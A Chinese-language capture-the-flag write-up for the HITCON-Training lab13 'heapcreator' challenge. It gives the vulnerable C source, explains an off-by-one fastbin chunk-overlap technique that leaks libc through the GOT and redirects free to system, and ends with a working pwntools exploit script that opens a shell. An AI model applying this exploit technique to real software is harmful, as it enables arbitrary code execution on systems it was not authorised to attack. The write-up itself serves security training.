题目来自HITCON-Training@Angelboy,off-by-one 修改inuse的fastbin chunk size,free该chunk获取一个稍微大的的fastbin chunk。再次malloc实现fastbin chunk overlap,从而可以修改关键指针,hjiack got getshell!

题目信息

源码见这里:https://github.com/thinkycx/pwn/blob/master/HITCON-Training/lab13/heapcreator.c

程序中有一个struct heap,提供4个功能,其中edit功能存在off-by-one漏洞!

struct heap {
    size_t size ;
    char *content ;
};
struct heap *heaparray[10];

void menu(){
    puts("--------------------------------");
    puts("          Heap Creator          ");
    puts("--------------------------------");
    puts(" 1. Create a Heap               ");
    puts(" 2. Edit a Heap                 ");
    puts(" 3. Show a Heap                 ");
    puts(" 4. Delete a Heap               ");
    puts(" 5. Exit                        ");
    puts("--------------------------------");
    printf("Your choice :");
}

void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i++){
        if(!heaparray[i]){
            heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(1);
            }
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i]->content = (char *)malloc(size);
            if(!heaparray[i]->content){
                puts("Allocate Error");
                exit(2);
            }
            heaparray[i]->size = size ;
            printf("Content of heap:");
            read_input(heaparray[i]->content,size);
            puts("SuccessFul");
            break ;
        }
    }
}

void edit_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Content of heap : ");
        read_input(heaparray[idx]->content,heaparray[idx]->size+1);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void show_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
        puts("Done !");
    }else{
        puts("No such heap !");
    }

}

void delete_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]->content);
        free(heaparray[idx]);
        heaparray[idx] = NULL ;
        puts("Done !"); 
    }else{
        puts("No such heap !");
    }

}

exploit

思路:假设malloc 0x18,chunk会复用下一个chunk的PREV_SIZR,因此可以利用多写的一个字节,来overflow nextchunk 的 SIZE。这时free nextchunk就可以获取larget fastbin chunk,再次malloc导致chunk overlap,可以实现关键指针修改!本题中利用chunk overlap控制heap->content,使用show泄漏GOT,使用edit hijack [email protected]为system,free一个content为"/bin/sh\x00"的字符串就可以getshell。

具体的关于overlap的细节如下:

如下图所示:申请两次,获得chunk0 chunk1 chunk2 chunk3,其中chun0和chunk2是保存的heap结构体。edit chunk1可写0x19字节,因此多的一个字节可以溢出0x21,修改为0x41。

image-20181204214015905

溢出后,free chunk2 chunk3,就可以获取一个0x40和0x20大小的fastbin chunk。再次malloc实现chunk overlap。因此申请create 0x40,正好可以把fastbin中的两个chunk申请回来,一个是data的chunk,一个是heap结构体的chunk。
image-20181204215021950

exploit:

def pwn(io):
    if local&debug: gdb.attach(io,'break *0x400db1') # main atoi
    log.info("[1] create chunk,  overwrite chunk2's size and free chunk2, get 2 fastbin chunks")
    create(0x18, "") # 0 1 chunk0
    create(0x10, "") # 0 1 2 3   chunk1
    create(0x10, "") # 0 1 2 3 4 5 6 chunk2

    payload_overflow = "a"*0x10 + p64(0xdeadbeafdeadbeaf) + "\x41"
    edit(0, payload_overflow)
    delete(1) # get fastbin chunk in  0x40

    log.info("[2] get 0x40 chunk, chunk overlap! overwrite [email protected] to content ptr")
    payload_got = p64(0x0)*2 + p64(0) + p64(0x21) + p64(0x8)  + p64(elf.got['free'])
    create(0x38, payload_got) # chunk3
    show(1)

    io.recvuntil("Content : ")
    libc.address = u64(io.recv(6)+"\x00\x00") - libc.symbols['free']
    log.success("libc.address: %#x", libc.address)

    log.info("system addr: %#x", libc.symbols['system'])

    log.info("[3] write system addr to [email protected]")
    edit(1, p64(libc.symbols['system']))

    create(0x18, "/bin/sh\x00")
    delete(3)

image-20181204235044113